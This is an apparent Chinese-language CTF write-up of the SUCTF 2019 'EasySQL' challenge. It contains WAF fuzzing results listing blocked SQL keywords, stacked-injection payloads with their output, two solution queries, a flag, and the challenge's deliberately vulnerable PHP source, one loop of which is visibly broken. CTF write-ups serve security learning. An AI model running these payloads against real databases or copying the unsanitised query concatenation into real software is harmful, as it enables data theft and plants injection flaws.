[SUCTF 2019]EasySQL

页面内容

测试' or '1'='1 发现存在waf。

经waf测试,以下关键字被ban掉

3   handler 200 false   false   507 
4   like    200 false   false   507 
6   sleep   200 false   false   507 
8   delete  200 false   false   507 
10  or  200 false   false   507 
17  insert  200 false   false   507 
21  INFORMATION 200 false   false   507 
27  xor 200 false   false   507 
36  AND 200 false   false   507 
41  CREATE  200 false   false   507 
47  "   200 false   false   507 
58  union   200 false   false   507 
59  "   200 false   false   507 
60  &   200 false   false   507 
61  &&  200 false   false   507 
63  oorr    200 false   false   507 
69  anandd  200 false   false   507 
72  IF  200 false   false   507 
78  sleep   200 false   false   507 
79  LIKE    200 false   false   507 
86  infromation_schema  200 false   false   507 
88  OR  200 false   false   507 
89  ORDER   200 false   false   507 
90  ORD 200 false   false   507 
96  UNION   200 false   false   507 
97  UPDATE  200 false   false   507 
103 WHERE   200 false   false   507 
105 AND 200 false   false   507 
106 prepare 200 false   false   507 
108 update  200 false   false   507 
109 delete  200 false   false   507 
110 drop    200 false   false   507 
117 CREATE  200 false   false   507 
121 DELETE  200 false   false   507 
122 DROP    200 false   false   507 
123 floor   200 false   false   507 
124 rand()  200 false   false   507 
125 information_schema.tables   200 false   false   507 
131 ORD 200 false   false   507 
133 extractvalue    200 false   false   507 
134 order   200 false   false   507 
137 ORDER   200 false   false   507 
138 OUTFILE 200 false   false   507 
144 updatexml   200 false   false   507 
152 format  200 false   false   507 
155 ord 200 false   false   507 
157 UPDATE  200 false   false   507 
162 WHERE   200 false   false   507 
171 for 200 false   false   507 
172 BEFORE  200 false   false   507 
173 REGEXP  200 false   false   507 
174 RLIKE   200 false   false   507 
177 SEPARATOR   200 false   false   507 
178 XOR 200 false   false   507 
179 CURSOR  200 false   false   507 
180 FLOOR   200 false   false   507 
185 from    200 false   false   507 

可以看到waf非常强,排除了考点在绕过的可能。经过测试,发现此题存在堆叠注入。

query=1;show databases;#

执行一些其他的语句

query=1;select database();#

Array
(
    [0] => 1
)
Array
(
    [0] => ctf
)

query=1;use ctf;show tables;#

Array
(
    [0] => 1
)
Array
(
    [0] => Flag
)

这里可以看到当前数据库ctf中只有一个表Flag,所以当前sql的查询必然是查询此表。
在做题时没有想到后面怎么操作,查看writeup题解后,发现题目sql查询字符串的内容为:

$sql = "select ".$post['query']."||flag from Flag";

知道了查询语言,答案很容易就出来了,有两种解法。

  1. *查询法

使用*,1放入查询语句,就能查出当前Flag表中的所有内容。

  1. 操作符重置法

使用set sql_mode=PIPES_AS_CONCAT;将||视为字符串的连接操作符而非或运算符。

flag{b6aa6525-21b4-4f99-9dd3-7748f206e62c}

题目源码 :

<?php
    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

?>

发表评论

电子邮件地址不会被公开。 必填项已用*标注